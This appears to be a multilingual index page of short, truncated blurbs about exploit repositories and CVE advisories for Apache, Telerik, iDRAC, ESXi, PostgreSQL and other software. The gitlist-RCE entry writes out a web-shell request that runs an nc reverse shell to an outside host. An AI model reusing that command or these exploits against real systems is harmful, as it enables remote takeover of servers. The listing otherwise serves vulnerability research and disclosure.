CVE-2021-41773-L-

CVE-2021-41773 🐛 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 È stato trovato un difetto in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli...

CVE-2022-21907-Vulnerability-PoC

CVE-2022-21907 Descrizione - POC per CVE-2022-21907: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. - creato da antx il 17-01-2022, solo alcune piccole correzioni da Michele "[email protected]" Dettaglio - Vulnerabilità di esecuzione remota di codice nello...

CVE-2026-57170

A flaw was found in compliance-trestle. The custom Jinja2 include tags, mdsectioninclude and mdcleaninclude, incorrectly re-parse the content of included Markdown files as Jinja2 template code in a non-sandboxed environment. This vulnerability, known as Server-Side Template Injection SSTI, allows...

gitlist-RCE

gitlist-RCE CVE-2014-4511 esempio: dopo il caricamento riuscito della shell: accesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-54757

A flaw was found in Trestle, a Python SDK and command-line tool for managing OSCAL compliance documents. This vulnerability involves server-side template injection SSTI due to the MDCleanInclude and MDSectionInclude Jinja2 tags improperly re-parsing untrusted Markdown content as template source...

CVE-2024-11320

CVE-2024-11320 Exploit per Pandora FMS Remote Code Execution CVE-2024-11320...

CVE-2023-0315

CVE-2023-0315 O exploit oficial para Froxlor Remote Code Execution CVE-2023-0315...

CVE-2020-12078

CVE-2020-12078 O exploit oficial para Open-AudIT v3.3.1 Execução Remota de Código CVE-2020-12078...

CVE-2019-20224

CVE-2019-20224 L'exploit ufficiale per Pandora v7.0NG Esecuzione Remota di Codice post-autenticazione CVE-2019-20224...

CVE-2019-16663

CVE-2019-16663 Der offizielle Exploit-Code für Centreon v19.04 Remotecodeausführung CVE-2019-16662...

CVE-2019-16662

CVE-2019-16662 L'exploit ufficiale per rConfig 3.9.2 Esecuzione di codice remoto CVE-2019-16662...

CVE-2019-15029

CVE-2019-15029 Der offizielle Exploit-Code für FusionPBX v4.4.8 Remote Code Execution CVE-2019-15029 Metasploit-Modul Ich habe ein einfaches Metasploit-Modul geschrieben, um dieses Problem auszunutzen: fusionpbxservices.rb. Sie müssen es nur herunterladen und in das Metasploit-Modulverzeichnis...

CVE-2019-13024

CVE-2019-13024 O código oficial do exploit para Centreon v19.04 Execução Remota de Código CVE-2019-13024...

CVE-2026-16238

A flaw was found in PostgreSQL. An object creator can exploit a type confusion vulnerability in the pgrestoreattributestats function. This flaw occurs due to the conflation of range and multirange values, allowing the attacker to execute arbitrary code as the operating system user running the...

CVE-2026-14677

A flaw was found in PostgreSQL. An integer wraparound vulnerability in 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This can lead to arbitrary code execution as the operating system...

CVE-2019-17633

CVE-2019-17633 ثغرة CSRF في Eclipse Che تؤدي إلى تنفيذ أوامر عن بعد RCE يسمح هذا الثغرة لموقع ويب بعيد بإنشاء وبدء تشغيل حاوية دوكر عشوائية على الأجهزة التي تعمل بـ Che قبل الإصدارين 7.3.0 و 7.4.1 عندما يزور المستخدم صفحة ويب. الثغرة هذه ثغرة من نوع CSRF تسمح لموقع ويب بعيد بإنشاء وبدء تشغيل حاوي...

cve-2018-1207

cve-2018-1207 Exploit iDRAC 7 & 8 firmware 2.52.52.52 Beschreibung Dell EMC iDRAC7/iDRAC8, Versionen vor 2.52.52.52, enthalten eine CGI-Injection-Schwachstelle, die zur Ausführung von Remote-Code genutzt werden könnte. Ein entfernter, nicht authentifizierter Angreifer könnte möglicherweise...

CVE-2021-21974

CVE-2021-21974 PoC - VMware ESXi RCE-Exploit Beschreibung Dieses Repository enthält einen Proof of Concept PoC für die Schwachstelle CVE-2021-21974 , eine Schwachstelle zur Remote-Codeausführung RCE im OpenSLP-Dienst von VMware ESXi. Eine erfolgreiche Ausnutzung kann es einem nicht...

CVE-2019-18935

CVE-2019-18935 Exploit Esecuzione di codice in remoto per Telerik UI ASP.NET AJAX tramite vulnerabilità di deserializzazione. Come eseguire Passo 1: Clonare il progetto root@kitploit: git clone https://github.com/menashe12346/CVE-2019-18935.git cd CVE-2019-18935 Passo 2: In CVE-2019-18935.py,...

cve-2023-33476

CVE-2023-33476 ReadyMedia MiniDLNA dalla versione 1.1.15 fino alla 1.3.2 è vulnerabile a Buffer Overflow. La vulnerabilità è causata da una logica di validazione errata durante la gestione delle richieste HTTP che utilizzano la codifica di trasporto a chunk. Ciò fa sì che altro codice utilizzi...